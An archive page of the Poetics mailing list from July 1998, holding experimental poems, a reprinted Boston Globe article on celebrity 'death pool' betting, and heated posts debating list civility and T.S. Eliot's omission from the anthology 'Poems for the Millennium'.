At approximately 6:00pm on Friday, July 10th, central email and UBUnix (University at Buffalo email server) will be disabled and remain unavailable until 8:00am on Monday, July 13th. During this time period all mail sent to the Poetics List will be queued for later delivery. Note also that there will be no incoming or outgoing mail for anyone with UB email (acsu.buffalo.edu).

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216. **henry g**
dent your atoll
Wed 8 Jul 1998

---

the thing that frightens the mosquitoes more than anything is the sound of a larger mosquito hovering stage right

the mosquitoes release a toxin called "Shucks Fever"
or pidgeniocytosapiffle from the stylish blue-black bottle

attached to the silken tassles edging their wings
which you can in just a few doses decease yourself as

swiftly as a Volkswagen - and remind me to signal when I turn off the engine!!!

- Eric Blarnes, mood indigo

↑ Index

217. **Jordan Davis**
libido
Wed 8 Jul 1998

Why Michael! thought you'd never ark.

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218. **daniel bouchard**
People who Die
Wed 8 Jul 1998

Bettors on Net ask: If people die anyway, why not make sport of it?

By John Powers, Globe Staff, 07/08/98

OK, the very idea - gambling on famous people dying - seems sick. The players themselves admit it. Macabre, morbid, all that. And yet, death comes to us all. So why not get a bet down on who’ll go 10 toes up?

‘‘We certainly don’t wish for anybody to die,’’ says Jake Maruby, who runs Dying for Dollars, a popular ‘‘death pool’’ on the Internet. ‘‘But nothing we do is going to change things.’’

The Grim Reaper harvests on his own schedule, but who says you can’t indulge in a bit of spectral speculation? If you were one of the shrewd bettors who figured that Chris Farley or Princess Di might be on the 1997 list, you hit the jackpot.

If you had Roy Rogers or Wendy O. Williams or Tammy Wynette or Sonny Bono this year, you chalked up big points. Frank Sinatra? Dr. Spock? Who didn't have them? And everybody always has the Pope. He's what they call a perennial.

Death pools have been around since at least the 19th century. ''It's a game, a very amusing game that they play in every drawing room in Paris whenever an `Immortal' passes on,'' Georges Duroy says to Madame Walter in Guy de Maupassant's novel ''Bel Ami.''

The game of Death has gone cyber now, and it includes anyone who might ever have rated a page in People or 30 seconds on ''Entertainment Tonight.'' At least a dozen death pools with names like Celebrity Death Pool, A Date With Charon Dead Pool, Derby Dead Pool, and Dead! are now on the Internet, abetted by master lists like the Dead People Server and You're Outta Here! that keep track of who's still living and who has joined the choir invisible. (James Mason: dead; Jackie Mason: alive.)

While pools differ on format, most involve submitting a list of up to 50 people ''marked for death'' in the coming calendar year. The more prescient the pick (like rapper Tupac Shakur in 1996), the more the points.

Some pools come with modest cash payoffs; others merely provide bragging rights and 15 minutes of cyberfame. ''Of course we're not rooting for these people to die,'' Ron Frey says on his site, The Death Pool. ''We just want the points.''

Morbid or not, death pools are undeniably intriguing. ''People will tell me `That's sick,''' says Ray Markey, a New Jersey computer networker who runs the Philadelphia Dead Pool. ''Then they say, `Well, can I see the list?' Then they say, `You know who you don't have?' Then they say, `How do I get in?'''

''Ghoulpooling'' is, Maruby concedes, a guilty pleasure. Still, betting against the living is as American as the Constitution. Why else did the Founding Fathers dream up the idea of a vice president, who is frequently described as being ''a heartbeat away'' from the Oval Office? Why else would we have life insurance?

''People take out policies against death and dismemberment,'' says Melody Rutherford, a San Francisco computer worker who's been involved with the Celebrity Death Pool since the early '70s. ''You're betting that you're going to die before you pay up. And the company is betting that you won't.''

Besides, it's not as if the players are bumping people off to move themselves up in the standings. That was the plot of ''The Dead Pool,'' the 1988 Dirty Harry movie in which death pool celebrities were mysteriously turning up dead. ''We frown on that,'' says Rutherford. ''You wouldn't get any points if you killed somebody. You'd be disqualified.''

Death pools may be macabre, but they do have rules. Decedents must be notable (or notorious) enough to have their passing mentioned on television or in a major newsmagazine. They must be certifiably dead (not just presumed) and must have been human (no cartoon characters or animals).

There are also rules that govern betting on (OK, against) the living. Nobody on death row. Nobody whose government has put a price on his head (though author Salman Rushdie is fair game, since he's on a religious sect's hit list). And nobody who's just received a artificial major organ. ''No baboon hearts,'' says Maruby, who lives outside of New York City and works for a publishing company.

Other than that, anyone from Madonna to the Queen Mum is fair game. Actuarial strategies abound. Most ghoulpoolers choose ''the old, the feeble, the overweight, the addicted.'' Others ''chase ambulances,'' picking celebrities who've had strokes (Gene Kelly), developed cancer (Frank Zappa), or contracted AIDS (Randy Shilts).

Others do ''lifestyle analyses'' and select healthy people with unhealthy tendencies (''the young and the restless''), like rock stars who snort coke and drive Porsches at 120 miles per hour. Still others pick totalitarian dictators with bloody hands (the ''live by the sword, die by the sword'' theory) or violent types due for ''karmic payback.''

You don't have to be Vincent Price to play this most extreme (and endless) game. Organizers say that most ghoulpoolers are between 20 and 40 and that as many women play as men. ''They're the people next door,'' says Maruby, who has more than 80 players in his Dying for Dollars pool, which costs $25 a year (''just pennies a day'') to enter. ''They just have a different slant on things.''

Ghoulpoolers pore through newspapers and magazines and watch ''ET'' for hints that someone famous might be heading for a ''dirt nap.'' Street rioting in a Third World country whose ruler has been propped up by the CIA since the '70s. A punk rocker who's off to Hazelden for his third detox. An actress who's back on chemo. An ex-ballplayer who's too frail to make it to his Hall of Fame enshrinement.

They check the Noted Nonagenarians and Centenarians Web site for anyone on borrowed time. They consult the Dead People Server to make sure it was James Earl Ray and not James Earl Jones who crossed the Styx. And they're scrupulous about keeping up with the obits. ''First thing every day, they log onto the CNN Web page and search for the word `dead,''' says Ray Markey, who has 153 members in his Philadelphia Dead Pool and 250 who want in for next year.

One popular ghoulpool choice who has stayed in play so far is Milton Berle, who, at 89, is Great-Great-Granduncle Miltie by now; most participants have chips on his number. They’re also betting against Muhammad Ali, Fidel Castro, Kirk Douglas, Robert Downey Jr., the Rev. Billy Graham, Katharine Hepburn, Bob Hope, Saddam Hussein, Richard Pryor, Ronald Reagan, Elizabeth Taylor, Strom Thurmond, and Boris Yeltsin.

Betting on ‘‘perennials’’ like Hope and Reagan, though, is like betting on favorites at the race track. It’s brainless and, usually, fruitless.

Stephen Hawking, the author-physicist with Lou Gehrig’s disease, has already lived more than three times longer than medical tables say he should have. ‘‘Keith Richards,’’ Maruby says. ‘‘People have been losing money on him for years.’’

‘‘Teasers’’ who keep eluding their demise (remember the endless ‘‘Franco takes turn for worse’’ headlines?) drive ghoulpoolers crazy. So connoisseurs would rather score big with an exotic bet on someone like Pol Pot, whom most folks had forgotten was still alive until he died April 15.

Les Aspin, Herve Villechaize, and Lee Atwater all carried heavy points when they booked passage with Charon. This year’s long shots include James Brown, Bob Dylan, Hugh Hefner, Jerry Lewis, and Frank Perdue, according to several Web sites.

Granted, betting humans as if they’re Preakness entrants can require some soul-searching. ‘‘Am I ready to put aside that puritanical side of me that says this is disrespectful of the living, not to mention exploitive of the dead?’’ Ron Frey muses on The Death Pool.

The idea of ‘‘harvesting stiffs’’ may be macabre, but graveyard humor goes back at least as far as Lazarus. Shakespeare has dying Mercutio cracking wise (‘‘Ask for me tomorrow and you will find me a grave man.’’) and Hamlet holding poor Yorick’s skull as though it were a cantaloupe. So what’s wrong with a decedents derby?

‘‘People say, `Oh my God, that’s terrible,’’’ says Melody Rutherford. ‘‘Then they say: `Bob Hope.’’’

This story ran on page F01 of the Boston Globe on 07/08/98. © Copyright 1998 Globe Newspaper Company.

<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

↑ Index

219. **Bob Grumman**
Re: People who Die
Wed 8 Jul 1998

This is probably a pretty obvious response, but are there pools based on who will make it THROUGH a year? Could I bet, for example, that Ronald Reagan will make it to 1999, or that Queen Elizabeth will. A list of a hundred people over seventy, or with lethal diseases like Hawking's that you bet will live could be fun.

--Bob G.

↑ Index

220. **henry g**
challenging works
Wed 8 Jul 1998

One more salvo. Looking for a logical form or meaningful unity in a poem doesn't have to be caricatured as pedantic exercise; it doesn't have to be equated with digging for hidden meanings, allegories. Meaning isn't something your dry scholar "consumes".

Consumption sounds too passive for the exercise of understanding involved. Nor does the fact that a poem might have a meaning-form mean it has become some kind of fast-food for dry intellects and lost its inherent poetry. Pound talked about logopeia - the "play" of the logic or meaning of poetry as one of its 3 main aspects (along with visual and sound values). So the meaning of a poem isn't some kind of workmanlike signpost for use-value, "what it really means", etc. In a poem the meanings are part of the overall structure set in motion, set in play. This independent play aspect is poetry's manner of being in the world - it's analogous to the free soul's awareness of mortality and consequent liberation from strictly material or selfish or momentary values. Poetry lives in this free atmosphere or "eternal life" - this is the meaning at the core of its meanings.

- Pope Hank at the podium

↑ Index

221. **Peter Balestrieri**
Re: Fuck Clarification
Wed 8 Jul 1998

Miekal -

Sorry to have misunderstood your Fuck Clarification post. I think you can see how it was possible to take it the wrong way. All I'm looking for here(for Alan and everyone else) is a little respect and civility in the way people respond to Listee's work. I think that Todd Baron's original post was slighting no matter how much damage control he does. His statement about how his post was not dismissive, as dismissive to him means not saying anything, is just silly. I think that on a List devoted to innovative work, calling a dense, encrypted poem "superfluous" and asking sarcastically if "space" can be wasted is mean-spirited. If he had reasons for disliking the work, they should have appeared in his original post. And Henry Gould's concerns, which amounted in my opinion to "if you can't stand the heat..." were off the mark. I'm sure that Alan welcomes genuine criticism, favorable or not, and that's why he posts his work here. If there are people on the List who strongly object to "innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible," I wish they'd go somewhere else.

↑ Index

222. **henry g**
Re: Fuck Clarification
Wed 8 Jul 1998

Okay, Peter, you've quoted the List Guidelines twice now, you've scolded Todd a couple of times for what he said, you've told me I was off the mark, although I beat you to the "let's be civil" position by a day or so on this one - did it ever occur to you that you might meet Todd Baron halfway and try to engage specifically what he finds faulty with the work in question and defend the work if necessary - rather than continuing to suggest that he (Todd) has no right to feel that way on this list and he should shove off? What is "civil" in your mind? - Henry Gould

↑ Index

223. **Jordan Davis**
god's way of telling you to slow down
Sun 7 Jun 1998

, but when I hear consume I think fire not eat. Something will get it wrong, love it. But why love whatever? You don't just eat anywhere. Big Mac fries and a shake, the meat of forty cows from four different countries. Play time, brought to you by the John D & Catherine T MacArthur Foundation, and Archer Daniels Midland. Somebody has to be getting it, or not. Have you stopped breast-beating your wife? Fifteen years before that there were razzle dazzle maggots, and with a shout, collecting coat hangers. The space between theory and practice (if you build on empty lots next to tenements are you liable when the tenements fall down). A comedy of fetish. I don't understand you either. Cue our Esty, you. Papers.

Is for

↑ Index

224. **R. Gancie**
a confusion
Wed 8 Jul 1998

"At this point, a confusion between the aspects of probability and rationality is easy. For the incorporation of some empirical generalization into a theory, thus linking it with all the other laws forming part of such a theory, has always been believed to add more inductive strength to an hypothesis, or to increase its inductive probability, notwithstanding the possibility of subsequent overthrow of the hypothesis in question. But the logic of such a 'consilience of inductions' (as it is often called) is still quite unsettled. And in any case, we have already shown that although Kant's position may have gained plausibility from this conception, it was primarily concerned, not with the question of the strength of inductive generalization regarded as a law, but rather with the question of what made such a genralization into a law, treated as a problem of logic and semantics rather than the pragmatics of induction."---from Metaphysics and the Philosophy of Science by Gerd Buchdahl---cp

↑ Index

225. **k.a. hehir**
Re: challenging works
Wed 8 Jul 1998

On Wed, 8 Jul 1998, henry g wrote:
>

> - Pope Hank at the podium
  actually academics use podiums popes use pulpits.
k

|----------| | Arsenic, a classic homicidal poison, occurs naturally | | in small amounts in many foods.
	The World of Chemistry Essentials

↑ Index

226. Juliana Spahr
operaration s.a.c.k. attack
Wed 8 Jul 1998

I found this on English department bulletin board:

Operation S.A.C.K. Attack
Attacking da Continental Kollective

If you consider yourself one Hawai'i writer den go pitch in and send your submissions to da following continental publication. Easy fo' ignore one guy, but wot about planny guys? So we go concentrate our efforts and let our voices be heard. No rush 'em now cuz we go send all one time li' dat so dat way get mo' chance. No sked 'em. We go get 'em.

D-Day: August 5, 1998 postmark
sponsored by: Hybolics

Designated target:
Plougshares
Emerson College
100 Beacon St.
Boston, MA 02116

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227. William Burmeister Prod
Community work/Fuck Clarification
Wed 8 Jul 1998

> *All I'm looking*
> *for here(for Alan and everyone else) is a little respect and civility*
> *in the way people respond to Listee's work. I think that Todd Baron's*
> *original post was slighting no matter how much damage control he does.*
> *His statement about how his post was not dismissive, as dismissive to*
> *him means not saying anything, is just silly. I think that on a List*
> *devoted to innovative work, calling a dense, encrypted poem*

> *"superfluous" and asking sarcastically if "space" can be wasted is mean-spirited. If he had reasons for disliking the work, they should have appeared in his original post. And Henry Gould's concerns, which amounted in my opinion to "if you can't stand the heat..." were off the mark. I'm sure that Alan welcomes genuine criticism, favorable or not, and that's why he posts his work here. If there are people on the List who strongly object to "innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible," I wish they'd go somewhere else.*

This is community work?

The one who phrased those list guidelines just might disagree with your last remarks there. The opposition (though one would hope thoughtful and empathetic) also serves a useful purpose in making us become strong and healthy innovators.

Certainly if dismissive means not saying anything then we're almost all of us guilty of being dismissive, even if not intentionally so, given the nature of this electronic forum that we share. It is reasonable to assume that work one has invested so much in should be received with respect if not just silence (indifference?). Not all remarks constitute "criticism" either, but may certainly constitute opposition (and very likely an assertion of one's tastes). Yet one always has the opportunity for counter-criticism, or counterattacks, which some here exercise to the utmost. But the reception of criticism or comment here has always been a matter of who (as in "some may, but others cannot").

These affairs have all the flavor of a political or popularity contest, which result in the unmasking of affiliations, preferences, and comments that sound as if they are simply saying "remember me for good when I come into your kingdom." The rest is just community work.

William

↑ Index

228. Charles Alexander
on the millenium anth
Wed 8 Jul 1998

---

while I'd be the last to criticize rothenberg & joris for leaving out eliot (and he's not really left out, as various people have noted in intriguing ways), I might be more bothered by the exclusion of spicer, yet, for everything I might disagree with there is something else which just amazes me. I'll point out two --

1. In vol. 1, pp. 718-724, the amazing work of Yi Sang, whose work I had not known. The grace combined with eruptiveness of this work is simply groundbreaking -- and thanks here to Walter Lew for his translations which make entry into the work possible for those of us who don't read Korean.

2. In vol 2, pp. 728-732. Here I was ready to be disappointed, because to select from The Martyrology is to select from the best known and possibly one of the less 'experimental/alternative' (although I say this with immense admiration for this work) of bp Nichol. Yet what did Joris & Rothenberg choose from The Martyrology? They chose work from the sequences of "Scraptures," which are perhaps the most adventurous, least easily reconciled part of this work by Nichol, fully representing his good humor, engaging and generous spirit, and rebellious, endless innovation.

I think that all who read these anthologies carefully, and do not read to see their favorites (though yes, I admit to looking for Nichol, one of my favorites), or who is and who is not included, will likely find scores of examples like this.

The anthology is a wonder. Thank you, Jerry and Pierre.

I would love to hear more consideration of what is IN these anthologies rather than what is not in them. Particularly, anyone's take on what surprised them of the inclusions, what was new and exciting to them, or what raised particular questions for them.

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

229. **CD**
Poems for the Millenium....
Wed 8 Jul 1998

I find it very strange that this anthology Poems for the Millenium has not one poem by T.S. Eliot. I can sort of understand not wanting to publish the Wasteland . I say sort of. But I don't really agree, but I understand sort of. But not one poem in either volume by Eliot, now isn't that pushing a point too far - not that I am sure what the point is. Is this an oversight on the part of the editors, is it an attempt to deny Eliot his rightful place as a great poet while at the same time vaguely (there are a few words which state that Eliot's work did play a seminal role... etc...) acknowledging his greatness? Eliot's poetics, voice, and stylistic ideas have influenced [and will continue to influence] poets in all

cultures. Why do the editors Jerome Rothenberg and Pierre Joris support this absence? Yet they publish poems by Pound. I can't figure it out. Pound was an outright fascist at one point yet he gets published in anthology which claims to be a voice of the avant-garde, of the margins, of the ethno-poetics of the native cultures around the world, yet Eliot does not get printed. Strange editorial policy. Is this a sort of reverse sovietism in poetics? Of course I am being polemical, and this establisment of the so-called avant-garde as the true voice of a revolutionary poetics strikes me as a type of poetic resentiment. CD.

↑ Index

230. **Gwyn McVay**
Joris, Rothenberg, Eliot
Wed 8 Jul 1998

To my mind, PFTM doesn't *attempt* to be a comprehensive collection of *all* the "great literature" extant--one wd. need the proverbial red wheelbarrow to carry such. Rather, it presents galleries, and has brought to my attention many incisive, surreal, and just plain jiggy-with-it poetries I hadn't been able to find anywhere else. Eliot is pretty firmly enstellated, & I don't see how any attempt to "deny his greatness" (even if such had been their intent, which it isn't) could remotely succeed. I will be returning to both volumes of PTFM a lot for inspiration, historical perspective, good reading--and to my mind J&R deserve worship for simply making an anthology that doesn't have those goddamn headnotes.

Gwyn

↑ Index

231. **Jordan Davis**
diversify thy portfolio
Thu 9 Jul 1998

---

sayeth Cornholio. Check the archives. Eliot costs big bucks, Pound less so. Just try and anthologize Eliot. Bet you wouldn't get much Jarry, Schwitters, Yaqui Deer Song or Bessie Smith with what you had left, not to mention David Jones!

I'm politicized, you're politicized.
JD

↑ Index

232. **Mark W Scroggins**
Re: Poems for the Millenium....
Thu 9 Jul 1998

Golly, I think _every_ anthology ought to have TSE--I mean, after all, it's so hard to find an anthology of 20th-c. poetry that has Eliot in it... CD, I'm going to be generous and assume you're being disingenuous here (in some tangled way). Joris & Rothenberg's flawed (and what anthology isn't?) but really very important volumes are all about promoting an _alternative_ version of what modernism and postm. were/are about, one that goes against the grain of what the academy and the New Yorker and other venues assume to be literary history. Eliot is as deeply embedded in that institutional version of poetic history as Longfellow was in 1898. Why Pound?--because, despite his fascism and anti-Semitism, Pound was an incredibly fertile source of poetic suggestions, methods, and instigations throughout the first 3/4 (at least) of the century, not least to counter-cultural poets of the '60s who rejected his politics whole cloth. (And why can't one be a fascist & anti-Semite and yet still occupy those coveted "margins"?) "Deny Eliot his status as a great poet"--please. For every Rothenberg and Joris who decide that the space taken up by Eliot's overanthologized and universally available work would be better given to someone else who isn't being simultaneously taught in 4000 college classrooms, there are hordes of academics, talking heads, and arbiters of taste who still kowtow to him as much as they did back in the 1950s. Unfortunately, Eliot doesn't have anything to worry about--yet.

Mark Scroggins

On Wed, 8 Jul 1998, CD wrote:

> *I find it very strange that this anthology Poems for the Millenium has not one poem by T.S. Eliot. I can sort of understand not wanting to publish the Wasteland . I say sort of. But I don't really agree, but I understand sort of. But not one poem in either volume by Eliot, now isn't that pushing a point too far - not that I am sure what the point is. Is this an oversight on the part of the editors, is it an attempt to deny Eliot his rightful place as a great poet while at the same time vaguely (there are a few words which state that Eliot's work did play a seminal role... etc...) acknowledging his greatness? Eliot's poetics, voice, and stylistic ideas have influenced [and will continue to influence] poets in all cultures. Why do the editors Jerome Rothenberg and Pierre Joris support this absence? Yet they publish poems by Pound. I can't figure it out. Pound was an outright fascist at one point yet he gets published in anthology which claims to be a voice of the avant-garde, of the margins, of the ethno-poetics of the native cultures around the world, yet Eliot does not get printed. Strange editorial policy. Is this a sort of reverse sovietism in poetics? Of course I am being polemical, and this*

> *establisment of the so-called avant-garde as the true voice of a revolutionary*
> *poetics strikes me as a type of poetic resentiment.*
> *CD.*

↑ Index

233. **Mark Weiss**
Re: diversify thy portfolio
Thu 9 Jul 1998

This is exactly right. I don't remember if this came up on the list, but I know from Jerry that Eliot's estate wanted an outrageous amount of money. Which is why, on p. 382 of volumne I, where "The Wasteland" should be, it says "Much anthologized, Eliot's poem is easily available in _The Complete Poems and Plays_ & in many representative anthologies of American modernism." After which the commentary underlines its importance, contra the opinion of WCW.

At 12:10 AM 7/9/98 -0400, you wrote:
>sayeth Cornholio. Check the archives. Eliot costs big bucks, Pound less
>so. Just try and anthologize Eliot. Bet you wouldn't get much Jarry,
>Schwitters, Yaqui Deer Song or Bessie Smith with what you had left, not to
>mention David Jones!
>
>I'm politicized, you're politicized.
>JD
>
>

↑ Index

234. **George Bowering**
Re: Eliot etc
Thu 9 Jul 1998

> *This is exactly right. I don't remember if this came up on the list, but I know from Jerry that Eliot's estate wanted an outrageous amount of money. Which is why, on p. 382 of volumne I, where "The Wasteland" should be, it says "Much anthologized, Eliot's poem is easily available in _The Complete Poems and Plays_ & in many representative anthologies of American modernism."*

This is sad but true. I wanted to quote a couple lines in my recent history book, from a novel by D.H. Lawrence, and the estate wanted to soak me good, the keepers of the estate being, I think, the relatives of the guy that DHL's significant other was fooling with while he was dying on the Continent. So I didnt use

the quotation, even though I had taken it without asking and quoted it in an earlier book.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

235. Alice Notley
Laura Moriarty
Thu 9 Jul 1998

Could someone send me Laura Moriarty's e-mail address? Thank you. Or Laura, if you yourself are out there, I'm trying to reach you but Leslie appears to have given me the wrong address.

Alice Notley

↑ Index

236. J Kimball
Dust ring looks like solar system
Thu 9 Jul 1998

Dust ring looks like solar system

Zoomy, pokey, sir,
too good of
viscount: so solid o...

It's not permissable to shake loose ill
banter, checkered edgeland, nervous
spa fronds or pool, or those data huts:

As new balanced odors waiting strength
compose this sequel, and stet, copair
dreams for control: so Oakland, so

I-thought-of-ripping-the-roof-off
with champagne-bubble mythistorical
optics: permission to snore, sir?

Fire ahead gears, null fenestrations, fantast
sea, a lone substantive night, again trees
on trees as if there may be there:

As what club equals instead one motel
and its other: perpetual in the star
-ry tympanic bones stacked with rods:

"It's real intimate, like having house guests,
except everyone out here helps pay the
mortgage..."

Where did going go nowhere?
ashes sprinkled and rang, sonant, to see
one, none, no one, you, only you

↑ Index

237. **J Kimball**
[ugh!]
Thu 9 Jul 1998

---

for "Dust ring..." in line 4, read: permissible

↑ Index

238. **CD**
MillELIOT:
Thu 9 Jul 1998

I like that a bad word play that yields the Possum's name. Ha.
Well.
let me quote Deleuze.

'Objections are even worse. Every time someone puts an objection
to me I want to say: Ok Oky lets go onto something
else...Objections have never contributed to anything.....

So as for the poetry of TS ELIOT.

I quote Pound:

For three years out of key with his time
He strove to resusciate the dead art

Of poetry....
Eliot Succeeded in resusciating the 'dead art'...
And as for Eliot not creating 'experimental threads'
well even Kenneth Rexroth did not deny that....

There are at least 5 references in Pound's Cantos

where he refers to the Possum as being a better poet....

so that shld. lay to rest all this falderall about

Pound being innovative and Eliot not being innovative....

Clearly the editors of this 2 volume anthos. Have Erred

and Big time.

However

'I've gotta use words when I talk to you.
But here's what I was going to say.

Death or life or life or death
Death is life and life is death
I gotta use words when I talk to you
But if you understand or if you dont
That's nothing to me and nothing to you
We all gotta do what we gotta do

But that's nothing to me and nothing to you....

Knock Knock Knock
Knock Knock Knock
Knock
Knock
Knock

Hurry Up Please

Hurry Up Please

It's Time

Ladies and Gentleman

MR . T. S. Eliot

Ghost at the door and he's smiling that radiant smile

of exclusion....

And that empty space in that 2 volume book

makes the Place Even Larger by virtue of His Work's Absence

Hurry Up

Hurry

It's Time

America

American

Quit Denying your own Great Shamans

Greenblatt says: I wanted to speak with the Dead

So the Burial of the Dead

Shanti Shanti Shanti

P.S. Frank O'Hara laughed when he heard about
How badly William Carlos Williams had taken the

publication of the Wasteland

Man. Eliot he do the Police in Different Voices....

↑ Index

239. **CD**
galleriess.....P.S.
Thu 9 Jul 1998

> poetics strikes me as a type of poetic resentiment.
> CD.
>
From: CD <[redacted]>
To: Gwyn McVay <[redacted]>
Subject: gallery...trope....

this whole trope which the editors use... galleries ....
it does not work... poems are not paintings... this is a Form of Reverse

and Open Repression of a great Poet. Because of what?

because of the Incredible influence of both his Poetics, His

politics, and the critical schools which came into existence

in the name of a few ideas which Eliot bounced around....

it is like that silly comment of Williams...

about the Wasteland setting back literature so many years...

that was William's Take. Not Hart Cranes. Not Joyce's

They include Joyce and try thereby to Appropriate Joyce into their

Notion of the Avant-Garde. Joyce abhorred the avant-garde.

Joyce thought Eliot was a great poet when he read the
Wasteland....

this is nonsense and Censorship of the First Order

It is very American as well....

A gallery with out T.S. Eliot?/ Come now this is lopsided evangelical avant-gardism.

It is like having a great International Show of Painting

and I am walking through the Gallery and the Note

says Sorry Eliot is TOo Big. But we Published His Pal

Pound . Hahah This is too facile.

I have been reading Rothenberg's anthologies [and I own them copies of great anthologies by him]
for a few years now.

Great , marvelous. I like Rothenberg's poems. From time to time.

ad its great that he printed that countess... very nice... but./...

Ted Hughes and Seamus Heaney have done similar anthologies

and neither of them would dream of doing Eliot the

absentee number. It strikes me as ResentIment. I use the

french spelling of the word as used by Nietzsche.

I think they made a big mistake.

Very big critical Error. It surprises that the critics who were

evidently consulted while this anthology was being prepared

did not speak up on behalf of the poetry of Eliot.

I say ONE Poem in their Gallery would have Done the Trick.

Say the Hollow Men, or Preludes.

I think it is really bad.

That sort of thing by the way would Never happen in Canada.

I think this is an example of an American school of

Poetics i.e. the 'other tradition' as seen and gathered

by Rothenberg, and that because this anthology Deliberately
Leaves Out TS Eliot it Fails.
It fails because it censors by Absence

it fails because it is smug in its own assumptions.

Those assumptions are the ones based on a rhetoric

which has no relevance to the larger world of contemporary

writing now....

In fact this anthology is over-rated.

Most of these poems are available to anyone who seeks them out.

And besides it is TOO LARge to Carry around.

Okay I am being over the top. But let it be said that

if Poetry is going to be read or heard

it Must be Portable.

Thank god for Lawrence Ferlinghetti.

**I Say Beware of the Avant-Garde.

which keeps out the Great Poets in the Name of Resentiment.//

Date: Thu, 9 Jul 1998 01:56:12 -0400 (EDT)
From: CD <[redacted]>
To: "T. S. Eliot Discussion forum." <[redacted]>
Subject: Censorship of Eliot's poetry

A real example of censorship is this anthology published in 1995. Poems for the Millenium edited by Jerome Rothenberg and Pierre Joris. There are 2 Volumes. They gather all sorts of poetry from all around the world much of it translated of course.

Amazingly there is not ONE POEM by ELIOT/
Pound there is. And plenty of others.
They are the real censors of Eliot's poetry.
Censorship by Absence. I think it is the poetics of resentment
Of envy, and a complete loss of critical detachment.
Another boring book which hails itself in the name of the Millenium No less!

No Poetry By Eliot. It staggered this reader.
all done in the name of the avant-garde.

Poems for the Millenium Vol 1 &2.

University of California Press. 1995 Vol 1. and Vol. 2 96 or 97.

Exasperated, Cd.

Date: Thu, 9 Jul 1998 01:23:48 -0400 (EDT)
From: CD <[redacted]>
To: [redacted]
Subject: Gotta

I gotta use words when I talk to you.

Worship is for churchs and other like-minded institutions.

Not for literary endeavours.

I suggest that this anthology marks the new intolerance
and an attempt to Censor a Great Poet by Absence.
Yes, this anthology will be remembered.

But as a failure of nerve, a failure of will, a failure

.

The trope of gallery does not cut mustard. With this reader. Poetry is made of words ,

and not with facile analogies to a gallery...
this is pathetic.
A pathetic fallacy of the worst sort.

Well here is what I say:

Words

Not ideas

Not politics .
Make poetry

And Eliot's poetry is going to be around for a Long Long Time

Maybe ever Forever.

Whereas so much of the dross printed

will vanish

forever

forgotten

unremembered

never having been

worth the reader's breath

or the auditor's hearing.
I suggest there is a new anxiety at work here

an anxiety of resentment

.

↑ Index

240. **charssmith**
Re: galleriess.....P.S.
Thu 9 Jul 1998

In a message dated 98-07-09 04:32:27 EDT, CD writes:

<< it fails because it is smug in its own assumptions.

> Those assumptions are the ones based on a rhetoric
>
> which has no relevance >>

Apt description of yr complaint. Have you opened vol 1 to pg 382? Mark Scroggins & Mark Weiss have alreay said all that needs to be said on this subject, but lemme quote the last sentence there:

"While not reprinted here, *The Waste Land* has an obvious place within the mappings represented by the present volume."

"Don't complain" -- Billie Holiday

--cs

↑ Index

241. **Mark Weiss**
Poems for the Millenium
Thu 9 Jul 1998

One last word from me about the anthology.

Of course there are things left out, for all sorts of reasons, that I, for one, think should be there. But there are also a great many poets gathered with whose work I was not familiar before. So, while there may be an occasional lapse in the presentation of whatever canon, there is also a large extension of the canon.

But that speaks to the anthology as a collection of greatest hits. I read it rather as a defining of the field as experienced by the editors, and what they present is consistent and complex, each of the century's moments seen larger, I think, than they've been seen before, and each of the poets contextualized within that large frame. Not a bad accomplishment.

↑ Index

242. **Gwyn McVay**
Re: galleriess.....P.S.
Thu 9 Jul 1998

> *And besides it is TOO LARge to Carry around.*

Great! So nobody will try to steal my copy and thus incur bad karma!

Gwyn

↑ Index

243. Alan J.J.N. Sondheim
Re: MillELIOT:
Thu 9 Jul 1998

On Thu, 9 Jul 1998, CD wrote:

>
> There are at least 5 references in Pound's Cantos
>
> where he refers to the Possum as being a better poet....
>
> so that shld. lay to rest all this falderall about
>
> Pound being innovative and Eliot not being innovative....
>
> Clearly the editors of this 2 volume anthos. Have Erred
>
> and Big time.
>

??? In other words, because Pound says so, it is so? Then should we also believe, say, Pound's political opinions because he says so? This is hardly a reason...

Alan

↑ Index

244. Rachel Loden
Re: Poems for the Millenium
Thu 9 Jul 1998

Here is a guy who wants to use words like "resentiment" but apparently does not know that Eliot wrote a poem called "The Waste Land," not (as Mr. Duff has it in three separate posts) "the Wasteland." He also does not know how to spell millennium.

CD wrote:
>
> I find it very strange that this anthology Poems for the Millenium
> has not one poem by T.S. Eliot. I can sort of understand not wanting to
> publish the Wasteland . I say sort of. But I don't really agree, but I
> understand sort of. But not one poem in either volume by Eliot, now isn't

> that pushing a point too far - not that I am sure what the point is. Is
> this an oversight on the part of the editors, is it an attempt to deny
> Eliot his rightful place as a great poet while at the same time vaguely
> (there are a few words which state that Eliot's work did play a seminal
> role... etc...) acknowledging his greatness? Eliot's poetics, voice, and
> stylistic ideas have influenced [and will continue to influence] poets in
> all cultures. Why do the editors Jerome Rothenberg and Pierre Joris
> support this absence? Yet they publish poems by Pound. I can't figure it
> out. Pound was an outright fascist at one point yet he gets published in
> anthology which claims to be a voice of the avant-garde, of the margins,
> of the ethno-poetics of the native cultures around the world, yet Eliot
> does not get printed. Strange editorial policy. Is this a sort of reverse
> sovietism in poetics? Of course I am being polemical, and this
> establisment of the so-called avant-garde as the true voice of a
> revolutionary
> poetics strikes me as a type of poetic resentiment.
> CD.

↑ Index

245. David Kellogg
Rothenberg, Joris, Eliot
Thu 9 Jul 1998

I thought the strategy in volume I -- here's where we'd put the Waste Land, if we had the money, but we don't, and anyway it's all over the damn place, insert your copy here -- was brilliant and hilarious. Managed to include Eliot in any meaningful sense of the term, which does not, in Eliot's case, mean "make available" (what poet is more so?).

Cheers,
David
~~~
~~~

246. daniel bouchard
geology for the Millenium
Thu 9 Jul 1998

there are the Alps, CD. Sit down,
and wait for them to crumble!

